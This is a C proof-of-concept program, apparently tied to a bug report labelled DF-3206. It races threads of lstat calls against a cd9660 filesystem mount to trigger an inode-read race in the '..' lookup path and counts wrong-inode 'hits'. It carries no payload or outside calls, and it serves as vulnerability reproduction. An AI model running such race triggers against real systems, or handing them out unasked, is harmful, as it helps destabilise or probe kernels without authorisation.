DF-3206 / racer.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-3206 racer: two unprivileged threads hammering the same cd9660 * directory to exploit the vn_unlock -> dp->i_ino read window in * cd9660_lookup CNP_ISDOTDOT (cd9660_lookup.c:343-345). * * Thread A: lstat("<mp>/DIR/..") in a tight loop; the correct result is * always the ROOT directory inode (mode dr-xr-xr-x, ino == * stat("<mp>").st_ino). Any deviation (different ino or a * non-directory type) is a race hit. * Threads B/C: lstat existing entries inside DIR (scanning mutates * dp->i_ino per entry) and unique nonexistent names (namecache * churn to keep forcing real VOP_LOOKUPs). * * usage: racer <mp> <seconds> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/stat.h> #include <sys/types.h> #include <time.h> static volatile int stop; static long a_iters, a_hits, b_iters; static ino_t root_ino, dir_ino; static char mp[256]; static void *thread_a(void *arg) { char path[512]; struct stat st; (void)arg; snprintf(path, sizeof(path), "%s/DIR/..", mp); while (!stop) { if (lstat(path, &st) == 0) { a_iters++; if (st.st_ino != root_ino || !S_ISDIR(st.st_mode)) { a_hits++; printf("HIT: lstat(DIR/..) -> ino %ju (root %ju, " "DIR %ju) mode %06o (iter %ld hit %ld)\n", (uintmax_t)st.st_ino, (uintmax_t)root_ino, (uintmax_t)dir_ino, st.st_mode, a_iters, a_hits); fflush(stdout); } } } return NULL; } static void *thread_b(void *arg) { char path[512]; struct stat st; int id = (int)(intptr_t)arg; long k = id; (void)arg; while (!stop) { snprintf(path, sizeof(path), "%s/DIR/E%02ld", mp, k % 64); if (lstat(path, &st) == 0) b_iters++; k++; /* unique nonexistent short names: churn the namecache */ snprintf(path, sizeof(path), "%s/DIR/q%07ld", mp, k); lstat(path, &st); } return NULL; } int main(int argc, char **argv) { pthread_t ta, tb[2]; struct stat st; int secs; char p[512]; if (argc != 3) { fprintf(stderr, "usage: racer <mountpoint> <seconds>\n"); return 2; } snprintf(mp, sizeof(mp), "%s", argv[1]); secs = atoi(argv[2]); snprintf(p, sizeof(p), "%s", mp); if (stat(p, &st)) { perror("stat mp"); return 2; } root_ino = st.st_ino; snprintf(p, sizeof(p), "%s/DIR", mp); if (stat(p, &st)) { perror("stat DIR"); return 2; } dir_ino = st.st_ino; printf("root ino %ju, DIR ino %ju; racing %ds\n", (uintmax_t)root_ino, (uintmax_t)dir_ino, secs); pthread_create(&ta, NULL, thread_a, NULL); pthread_create(&tb[0], NULL, thread_b, (void *)0); pthread_create(&tb[1], NULL, thread_b, (void *)32); sleep(secs); stop = 1; pthread_join(ta, NULL); pthread_join(tb[0], NULL); pthread_join(tb[1], NULL); printf("done: a_iters=%ld a_hits=%ld b_iters=%ld\n", a_iters, a_hits, b_iters); return (a_hits > 0) ? 0 : 1; } |